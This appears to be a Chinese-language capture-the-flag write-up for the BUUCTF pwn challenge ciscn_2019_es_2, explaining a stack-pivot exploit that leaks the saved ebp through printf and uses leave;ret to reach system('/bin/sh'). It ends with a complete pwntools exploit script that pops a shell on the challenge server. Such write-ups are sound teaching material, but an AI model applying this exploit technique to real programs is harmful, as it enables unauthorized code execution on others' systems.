这道题是栈迁移,题目在buuctf上 ciscn_2019_es_2
一、先checksec一下
嗯哼哼,貌似影响不大
二、丢在ida里瞅
1、main()
没啥用再看看其它的
2、vul()
第一个read读进去的东西,可以被printf呸!吐出来!
芜湖!看到了第二个read可以栈溢出,但是可以溢出的空间太少!
————————那么就要来到了,刚学习的栈迁移——————————
3、hack()
芜湖看到system函数了,那我们就可以获得system的返回地址从而调用system
三、构造payload
首先我们先想一想
1、printf的作用?
肯定是让我们泄露什么!
我们刚刚说到,要用栈迁移,那么我们我就需要泄露ebp的地址。
所以我们想到用b'a'*(0x27) + b'b'填满栈
然后用printf就会顺带将ebp打印出来
什么printf能打印?
A:"%s"是打印字符串,那么字符串结束的标志是什么???
Q:是/x00!/x00有时候又可以用来截断字符串,并且/x00占据一个字节(这是即使你不打,程序也会自动帮你添上的。)
那么如果我将栈填满
0x00就没地方了,它就会顺着打印,而接下来就是esp的地址了
我们只需要令
orginal_addr = u32(p.recv(4))
就可以获得了
2、继续想
栈迁移核心思想就是利用leave和ret转移ebp和esp。leave和ret常用于复原栈
leave=mov esp,ebp
pop ebp
ret=pop eip
我们看ebp寄存器里面存的其实就是栈上ebp的地址 ,为上层函数main的old ebp,它与缓冲区变量相差0x38
然后我理解的栈迁移是这样的
esp的作用还原栈的最初的模样
“原来我们还是caller的模样”
然后我们通过将ebp的位置改变到现在esp的位置,也就是我们输入的缓冲区的起始位置。
3、GDB调试过程
3.1断点位置
ida中的画面我们可以通过上方彩色进度条拖动,我们刚反编译的时候上方的小箭头可以提供大致位置,找的时候很方便
然后b *0x080485e0 再然后r,输入时输入aaaa作为标记
3.2查看栈中内容
如下图所示,ebp所在位置中存放的就是上一个ebp的内容,具体研究师傅们自己看看喽
4、理解payload构造过程
a、大小。首先刚开始的第一遍我们在执行read函数,它只允许我们达到0x30的大小,所以payload3
的长度应该控制在0x30之内。(?padding的大小可以商榷吗)
b、我们第一次在执行read函数,在buf的缓冲区有长达0x28的位置,我们做不了什么,不可执行,但是我们通过修改ebp到(old_ebp-0x38),将我们写入的东西通通算进栈中执行。
c、这里我认为有两个定位的东西。
首先是我们放在payload开头的b'aaaa',用于计算和控制ebp返回的位置到这里。(这里不理解的师傅想想leave和ret的作用,核心就是做了坏事还是保持原来的样子,原来怎么样现在怎么样)
其次是old_ebp,因为它的大小可以通过printf泄露,作为一个固定的已知地址,计算其他需要的信息(new_ebp和bin_sh_addr)的偏移量。
d、理解一下leave|ret
e、关于bin_sh的地址师傅们可以看一下wp(通过入栈顺序找到binsh在栈中的地址),前面有4个0x4大小的东西
5、最后附带我的wp
1 from pwn import *
2 p = remote ('node4.buuoj.cn',26738)
3 #context.log_level = 'debug'
4 #p = process('./123')
5
6 system_addr = 0x08048400
7 leave_ret = 0x080484b8
8
9 payload = b'a'*(0x27)+b'b'
10 p.send(payload)
11 p.recvuntil('b')
12 old_ebp = u32(p.recv(4))
13 print(hex(old_ebp))
14
15 payload = b'aaaa'
16 payload+= p32(system_addr) + b'bbbb' + p32(old_ebp-0x28)
17 payload+= b'/bin/sh\x00'
18 payload = payload.ljust(0x28,b'b')
19 payload+= p32(old_ebp-0x38)
20 payload+= p32(leave_ret)
21
22 p.sendline(payload)
23 p.interactive()